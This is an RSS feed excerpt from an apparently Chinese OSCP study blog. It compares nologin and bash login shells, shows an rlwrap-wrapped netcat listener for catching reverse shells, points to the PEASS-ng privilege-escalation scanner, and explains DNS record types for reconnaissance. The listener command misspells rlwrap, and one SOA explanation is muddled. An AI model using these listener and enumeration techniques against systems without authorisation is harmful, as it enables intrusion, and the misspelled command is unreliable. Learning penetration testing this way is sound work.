 &lt;td style="text-align: center"&gt;&lt;strong&gt;典型应用场景&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;守护进程账户 FTP虚拟用户 安全锁账户&lt;/td&gt;
 &lt;td style="text-align: center"&gt;普通用户登录 管理员维护 开发环境&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;检查命令&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;grep nologin /etc/passwd&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;grep bash /etc/passwd&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="详细说明"&gt;详细说明
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;/usr/sbin/nologin&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;安全隔离机制&lt;/strong&gt;：阻止账户获得任何交互式 Shell&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;工作流程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;用户尝试登录（SSH/FTP/控制台）&lt;/li&gt;
&lt;li&gt;系统显示拒绝信息（默认：&amp;quot;&lt;em&gt;This account is currently not available.&lt;/em&gt;&amp;quot;）&lt;/li&gt;
&lt;li&gt;立即终止会话&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;自定义提示：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;echo &amp;#34;管理员专用账户，禁止登录&amp;#34; &amp;gt; /etc/nologin.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;典型配置示例&lt;/p&gt;
&lt;p&gt;（/etc/passwd）：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ftpuser:x:1001:1001::/var/ftp:/usr/sbin/nologin
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;/bin/bash&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;全功能交互环境：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;支持命令执行、脚本运行、作业控制&lt;/li&gt;
&lt;li&gt;配置文件：&lt;code&gt;~/.bashrc&lt;/code&gt;, &lt;code&gt;~/.profile&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;开发/运维能力：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 允许运行所有命令
$ vim /etc/config
$ systemctl restart service
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="-重要安全建议"&gt;⚠️ 重要安全建议
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;系统服务账户&lt;/strong&gt; 必须使用 &lt;code&gt;nologin&lt;/code&gt;（如 MySQL/Nginx 账户）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;普通用户&lt;/strong&gt; 仅在必要时应获得 &lt;code&gt;bash&lt;/code&gt; 权限&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;临时锁定账户&lt;/strong&gt;：&lt;code&gt;usermod -s /usr/sbin/nologin username&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;解锁账户&lt;/strong&gt;：&lt;code&gt;usermod -s /bin/bash username&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="推荐小工具rlwarp"&gt;推荐小工具rlwarp
&lt;/h3&gt;&lt;p&gt;可以让反弹shell用上下键快捷切换历史命令，而不是输入一堆[A[A[A[A&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo apt-get install rlwrap
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 原版nc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;nc -nlvp &lt;span class="m"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 能上下翻历史命令的nc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;rlwarp -cAr nc -nlvp &lt;span class="m"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="推荐小工具peass小豌豆"&gt;推荐小工具peass小豌豆
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/peass-ng/PEASS-ng" target="_blank" rel="noopener"
 &gt;https://github.com/peass-ng/PEASS-ng&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;能够扫描分析初步获得权限的设备上可以的文件。&lt;/p&gt;</description></item><item><title>Day18 Kali主动信息收集DNS</title><link>https://ruajingjing.top/post/day18-kali%E4%B8%BB%E5%8A%A8%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/</link><pubDate>Sun, 06 Jul 2025 23:45:46 +0000</pubDate><guid>https://ruajingjing.top/post/day18-kali%E4%B8%BB%E5%8A%A8%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day18 Kali主动信息收集DNS" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="dns枚举"&gt;DNS枚举
&lt;/h2&gt;&lt;p&gt;DNS枚举在主动信息收集（尤其是渗透测试或红队行动初期）中扮演着&lt;strong&gt;核心角色&lt;/strong&gt;，它的核心价值在于&lt;strong&gt;揭示目标组织面向互联网的域名基础设施和相关系统的细节&lt;/strong&gt;，从而勾勒出初步的攻击面。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;发现子域名：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;这是最重要的目的之一。主域名（如&lt;code&gt;example.com&lt;/code&gt;）可能只暴露少量服务，但大量内部开发、测试、特定部门或业务线使用的系统往往部署在子域名下（如&lt;code&gt;admin.example.com&lt;/code&gt;, &lt;code&gt;dev.example.com&lt;/code&gt;, &lt;code&gt;vpn.example.com&lt;/code&gt;, &lt;code&gt;api.example.com&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;枚举这些子域名能&lt;strong&gt;显著扩大已知的攻击面&lt;/strong&gt;，揭示隐藏的、可能安全性较弱的入口点。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;识别关联的主机和服务：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;通过查询A记录和AAAA记录，DNS枚举能将域名和子域名映射到具体的IPv4和IPv6地址。这直接揭示了目标&lt;strong&gt;实际运行网络服务的计算机位置（主机）&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;知道主机IP是后续扫描（端口扫描、服务识别）和潜在攻击的起点。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;发现电子邮件服务器：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;通过查询MX记录，可以确定目标组织用于接收电子邮件的&lt;strong&gt;邮件服务器&lt;/strong&gt;及其优先级。这是针对邮件系统进行渗透测试或发起鱼叉式钓鱼攻击的重要信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定位关键网络基础设施：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;名称服务器记录&lt;/strong&gt;：通过查询NS记录，确定该域名由哪些权威DNS服务器负责解析。攻击这些服务器或其配置弱点可能导致DNS劫持或拒绝服务。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;邮件服务器信息&lt;/strong&gt;：MX记录（如上所述）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;反向代理/CDN后端源站&lt;/strong&gt;：有时CNAME记录可能指向CDN提供商的域名（如&lt;code&gt;assets.example.com CNAME assets.customer-cdn.net&lt;/code&gt;），但也可能指向内部的负载均衡器或实际的应用服务器。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;查找别名和重定向：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;CNAME记录将一个域名或子域名别名到另一个规范的域名。这有助于理解：
&lt;ul&gt;
&lt;li&gt;基础设施架构（例如，某个子域名实际指向另一个服务器上的服务）。&lt;/li&gt;
&lt;li&gt;是否使用了第三方服务（例如，CNAME到AWS S3桶或第三方CMS）。&lt;/li&gt;
&lt;li&gt;可能指向内部系统（如果配置错误或暴露）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;探测安全配置信息：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;TXT记录：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SPF记录&lt;/strong&gt;：用于防止邮件欺骗，包含允许发送该域名邮件的服务器IP地址或主机名列表。这可以直接&lt;strong&gt;泄露邮件服务器的IP范围&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DKIM记录&lt;/strong&gt;：提供邮件签名公钥，用于验证邮件完整性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DMARC记录&lt;/strong&gt;：指定如何处理不符合SPF/DKIM的邮件的策略。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;意外信息&lt;/strong&gt;：有时管理员会在TXT记录中留下注释、内部服务器名称、验证码（用于验证域名所有权，可能被滥用）甚至凭据（严重错误）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;暴露的服务器类型/版本&lt;/strong&gt;：有时SRV记录（指向特定服务的位置，如&lt;code&gt;_ldap._tcp.example.com&lt;/code&gt;）或CNAME可以暗示底层运行的服务器类型（如Windows域控制器）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;收集组织的网络边界信息：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;通过获取所有与目标主域名及其子域名相关的A、AAAA记录，实际上是在&lt;strong&gt;映射目标组织在公网上拥有和控制的IP地址块&lt;/strong&gt;。这对于理解他们的整体网络规模、可能的AS编号以及后续的网络层扫描（如端口扫描整个IP段）至关重要。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;构建目标组织的数字资产清单：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;DNS枚举结果是构建目标组织&lt;strong&gt;完整互联网资产清单&lt;/strong&gt;的基础。它列出了所有已知的、面向互联网的域名和对应的主机/IP地址。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;为什么DNS枚举如此重要？&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;非侵入性（相对而言）：&lt;/strong&gt; 标准的DNS查询（非区域传输）通常被认为是良性的、合法的互联网流量，难以被检测为恶意行为。它是一个相对隐蔽的起点。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;信息价值高：&lt;/strong&gt; 收集到的信息对于规划后续攻击步骤（下一步扫描哪个IP/端口，攻击哪个子域，如何伪造邮件）具有极高的指导价值。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;易被忽略的安全点：&lt;/strong&gt; 许多组织在子域名、废弃域名或DNS记录配置上存在疏忽（如暴露内部服务器名或IP），DNS枚举是发现这些弱点的有效方法。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;攻击面扩展的核心：&lt;/strong&gt; 未发现的子域名或IP地址意味着未评估的安全风险。DNS枚举确保在深入了解具体漏洞前，尽可能全面地掌握目标暴露在外的入口点。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="dns记录类型详解"&gt;DNS记录类型详解
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;ns - 包含载域DNS记录得授权服务器的名称&lt;/li&gt;
&lt;li&gt;A- 包含主机名的IP地址&lt;/li&gt;
&lt;li&gt;MX - 包含负责处理该域电子邮件的服务器名称，可以有多个MX记录&lt;/li&gt;
&lt;li&gt;PTR 别名记录（反向区域使用）&lt;/li&gt;
&lt;li&gt;CNAME - 别名记录，指向其他主机记录&lt;/li&gt;
&lt;li&gt;TXT - 文本记录，可包含任意数据，常用于域所有权验证&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;NS&lt;/code&gt; (Name Server) 记录：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义：&lt;/strong&gt; 这是&lt;strong&gt;最基础、最关键&lt;/strong&gt;的记录之一。它指定了哪些 DNS 服务器是某个特定&lt;strong&gt;域&lt;/strong&gt;（比如 &lt;code&gt;example.com&lt;/code&gt;）的&lt;strong&gt;权威服务器&lt;/strong&gt;。权威服务器存储着该域所有 DNS 记录的官方、最终版本。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 当你的电脑或其他解析器需要查询 &lt;code&gt;example.com&lt;/code&gt; 或其子域（如 &lt;code&gt;www.example.com&lt;/code&gt;）的信息时，它首先会查找根 DNS 服务器，然后根据 &lt;code&gt;.com&lt;/code&gt; 的顶级域服务器指引，最终找到 &lt;code&gt;example.com&lt;/code&gt; 的 NS 记录指向的服务器。这些服务器才能提供 &lt;code&gt;example.com&lt;/code&gt; 域下所有记录的准确答案（如 A、MX、CNAME 等）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重要性：&lt;/strong&gt; 没有正确的 NS 记录，整个域的 DNS 解析就无法正常工作。攻击者常通过 NS 记录来定位目标组织的权威 DNS 服务器，这些服务器本身也可能是攻击目标。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例：&lt;/strong&gt; &lt;code&gt;example.com. IN NS ns1.provider.com.&lt;/code&gt; &lt;code&gt;example.com. IN NS ns2.provider.com.&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;A&lt;/code&gt; (Address) 记录：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义：&lt;/strong&gt; 这是&lt;strong&gt;最常用&lt;/strong&gt;的记录类型。它将一个&lt;strong&gt;主机名&lt;/strong&gt;（域名或子域名）直接映射到一个 &lt;strong&gt;IPv4 地址&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 当你在浏览器输入 &lt;code&gt;www.example.com&lt;/code&gt; 时，DNS 系统最终会查找该主机名的 A 记录，获得其对应的 IP 地址（如 &lt;code&gt;93.184.216.34&lt;/code&gt;），然后你的浏览器才能连接到该 IP 地址的服务器获取网页内容。它负责将“人类可读”的名字转换成机器使用的 IP 地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例：&lt;/strong&gt; &lt;code&gt;www.example.com. IN A 93.184.216.34&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AAAA&lt;/code&gt; (Quad-A) 记录：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义：&lt;/strong&gt; 功能与 A 记录完全相同，但它映射的是 &lt;strong&gt;IPv6 地址&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 随着 IPv4 地址耗尽，IPv6 越来越重要。AAAA 记录让主机名能够解析到 IPv6 地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例：&lt;/strong&gt; &lt;code&gt;www.example.com. IN AAAA 2606:2800:220:1:248:1893:25c8:1946&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;MX&lt;/code&gt; (Mail eXchange) 记录：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义：&lt;/strong&gt; 指定负责接收发送到该&lt;strong&gt;域&lt;/strong&gt;（不是特定主机名）的电子邮件的&lt;strong&gt;邮件服务器&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;特点：
&lt;ul&gt;
&lt;li&gt;指向的是&lt;strong&gt;主机名&lt;/strong&gt;（通常有对应的 A/AAAA 记录），而不是直接指向 IP 地址。&lt;/li&gt;
&lt;li&gt;可以有&lt;strong&gt;多个&lt;/strong&gt; MX 记录，每个记录有一个&lt;strong&gt;优先级值&lt;/strong&gt;（数字越小，优先级越高）。发送邮件的服务器会先尝试连接优先级最高的邮件服务器，如果失败，再尝试优先级较低的。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 确保发送到 &lt;code&gt;user@example.com&lt;/code&gt; 的邮件能被正确路由到处理 &lt;code&gt;example.com&lt;/code&gt; 邮件的服务器上。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例：&lt;/strong&gt; &lt;code&gt;example.com. IN MX 10 mailserver1.example.com.&lt;/code&gt; &lt;code&gt;example.com. IN MX 20 mailserver2.example.com.&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;PTR&lt;/code&gt; (Pointer) 记录：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义：&lt;/strong&gt; 用于&lt;strong&gt;反向 DNS 查找&lt;/strong&gt;。它将一个 &lt;strong&gt;IP 地址&lt;/strong&gt;映射回一个&lt;strong&gt;主机名&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;作用： 与 A/AAAA 记录相反。主要用于：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;日志记录：&lt;/strong&gt; 在系统日志中显示 IP 地址对应的主机名，更易读。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网络诊断：&lt;/strong&gt; &lt;code&gt;traceroute&lt;/code&gt;, &lt;code&gt;ping&lt;/code&gt; 等工具有时会尝试反向解析 IP 地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全验证：&lt;/strong&gt; 一些邮件服务器会检查发送方 IP 的反向解析记录是否与声称的发件域匹配（作为反垃圾邮件措施的一部分，但效果有限）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;系统管理：&lt;/strong&gt; 识别网络上的设备。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;存储位置：&lt;/strong&gt; PTR 记录存储在特殊的 DNS 域中，通常是 &lt;code&gt;in-addr.arpa&lt;/code&gt; (IPv4) 或 &lt;code&gt;ip6.arpa&lt;/code&gt; (IPv6)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例：&lt;/strong&gt; &lt;code&gt;34.216.184.93.in-addr.arpa. IN PTR www.example.com.&lt;/code&gt; (这是 &lt;code&gt;93.184.216.34&lt;/code&gt; 的反向记录)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CNAME&lt;/code&gt; (Canonical Name) 记录：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义：&lt;/strong&gt; 为一个主机名设置一个&lt;strong&gt;别名&lt;/strong&gt;。它指向的是另一个&lt;strong&gt;主机名&lt;/strong&gt;（称为规范名或真实名），而不是直接指向 IP 地址。&lt;/li&gt;
&lt;li&gt;作用：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;简化管理：&lt;/strong&gt; 例如，你可以让 &lt;code&gt;www.example.com&lt;/code&gt; 作为 &lt;code&gt;webserver-prod-lb-01.example.com&lt;/code&gt; 的别名。如果真实服务器的 IP 地址变了，你只需要更新 &lt;code&gt;webserver-prod-lb-01.example.com&lt;/code&gt; 的 A 记录，所有指向它的 CNAME 会自动生效。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;指向外部服务：&lt;/strong&gt; 例如，&lt;code&gt;files.example.com&lt;/code&gt; 的 CNAME 可能指向某个云存储服务商提供的域名（如 &lt;code&gt;example.bucket.s3.amazonaws.com&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;重要规则：
&lt;ul&gt;
&lt;li&gt;CNAME 记录&lt;strong&gt;不能&lt;/strong&gt;与其他记录类型（如 MX, TXT, NS）共存于同一个主机名下。例如，&lt;code&gt;example.com&lt;/code&gt; 不能同时有 CNAME 记录和 MX 记录。&lt;/li&gt;
&lt;li&gt;CNAME 应该指向一个&lt;strong&gt;有效&lt;/strong&gt;的、最终会解析到 A 或 AAAA 记录的主机名。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例：&lt;/strong&gt; &lt;code&gt;www.example.com. IN CNAME webserver-prod-lb-01.example.com.&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;TXT&lt;/code&gt; (Text) 记录：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义：&lt;/strong&gt; 允许域管理员在 DNS 中存储任意&lt;strong&gt;文本信息&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;用途广泛：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SPF (Sender Policy Framework)：&lt;/strong&gt; 指定哪些邮件服务器被授权代表该域发送邮件（格式如 &lt;code&gt;v=spf1 include:_spf.google.com ~all&lt;/code&gt;）。用于反垃圾邮件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DKIM (DomainKeys Identified Mail)：&lt;/strong&gt; 存储用于验证邮件签名的&lt;strong&gt;公钥&lt;/strong&gt;（格式如 &lt;code&gt;v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC...&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DMARC (Domain-based Message Authentication, Reporting &amp;amp; Conformance)：&lt;/strong&gt; 定义如何处理未通过 SPF 或 DKIM 检查的邮件，以及发送报告的位置（格式如 &lt;code&gt;v=DMARC1; p=reject; rua=mailto:dmarc-reports@example.com&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;域所有权验证：&lt;/strong&gt; 许多在线服务（如 Google Workspace, SSL 证书颁发机构）会让你在域名的 TXT 记录中添加一段特定文本（如 &lt;code&gt;google-site-verification=abcdefg123456&lt;/code&gt;）来证明你拥有该域。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;其他信息：&lt;/strong&gt; 有时会包含联系人信息、策略声明或其他任意备注（但应避免存储敏感信息）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例：&lt;/strong&gt; &lt;code&gt;example.com. IN TXT &amp;quot;v=spf1 include:_spf.google.com ~all&amp;quot;&lt;/code&gt; &lt;code&gt;_dmarc.example.com. IN TXT &amp;quot;v=DMARC1; p=none; rua=mailto:dmarc-reports@example.com&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;其他重要的 DNS 记录类型：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;SOA&lt;/code&gt; (Start of Authority) 记录：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义：&lt;/strong&gt; 每个 DNS 区域文件&lt;strong&gt;必须&lt;/strong&gt;包含且&lt;strong&gt;只能包含一个&lt;/strong&gt; SOA 记录。它包含关于该 DNS 区域的&lt;strong&gt;管理信息&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;包含内容：&lt;/strong&gt; 主要名称服务器 (MNAME)、区域负责人的邮箱 (RNAME - 注意格式，如 &lt;code&gt;admin.example.com&lt;/code&gt; 实际是 &lt;code&gt;admin.example.com&lt;/code&gt;，第一个点通常写作 &lt;code&gt;admin\.example.com&lt;/code&gt;)、区域序列号 (SERIAL - 每次修改区域文件需递增此号)、刷新间隔 (REFRESH)、重试间隔 (RETRY)、过期时间 (EXPIRE)、负缓存 TTL (MINIMUM)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 用于区域传输（从主服务器同步到从服务器）和缓存管理。序列号是判断区域文件是否更新的关键。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;SRV&lt;/code&gt; (Service) 记录：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;含义：&lt;/strong&gt; 指定提供特定&lt;strong&gt;服务&lt;/strong&gt;（如 LDAP, SIP, XMPP）的服务器的主机名和端口号。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;格式：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;_Service._Proto.Name TTL Class SRV Priority Weight Port Target
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;_Service&lt;/code&gt;：服务名称（如 &lt;code&gt;_ldap&lt;/code&gt;, &lt;code&gt;_sip&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_Proto&lt;/code&gt;：协议（通常是 &lt;code&gt;_tcp&lt;/code&gt; 或 &lt;code&gt;_udp&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Name&lt;/code&gt;：该记录所适用的域名。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Priority&lt;/code&gt;：类似 MX 记录的优先级。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Weight&lt;/code&gt;：在相同优先级下用于负载均衡的权重。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Port&lt;/code&gt;：服务运行的端口号。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Target&lt;/code&gt;：提供该服务的主机名（需有 A/AAAA 记录）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;作用：&lt;/strong&gt; 使客户端能够自动发现特定服务的服务器位置（哪个主机、哪个端口）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;示例：&lt;/strong&gt; &lt;code&gt;_sip._tcp.example.com. IN SRV 10 60 5060 sipserver.example.com.&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="在-kali-linux-中查询-dns-记录的工具"&gt;在 Kali Linux 中查询 DNS 记录的工具
&lt;/h3&gt;&lt;p&gt;Kali Linux 自带了许多强大的网络工具，查询 DNS 记录主要使用 &lt;code&gt;dig&lt;/code&gt; 和 &lt;code&gt;nslookup&lt;/code&gt;，有时也会用到 &lt;code&gt;host&lt;/code&gt;。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;dig&lt;/code&gt; (Domain Information Groper)：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;最强大、最灵活、最推荐的工具。&lt;/strong&gt; 提供详细输出，非常适合调试和理解 DNS 响应。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;基本语法：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;dig [@server] [domain] [record_type]
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;@server&lt;/code&gt;：可选，指定查询哪个 DNS 服务器（如 &lt;code&gt;@8.8.8.8&lt;/code&gt;）。不指定则使用系统默认 DNS。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;domain&lt;/code&gt;：要查询的域名或主机名。&lt;/li&gt;
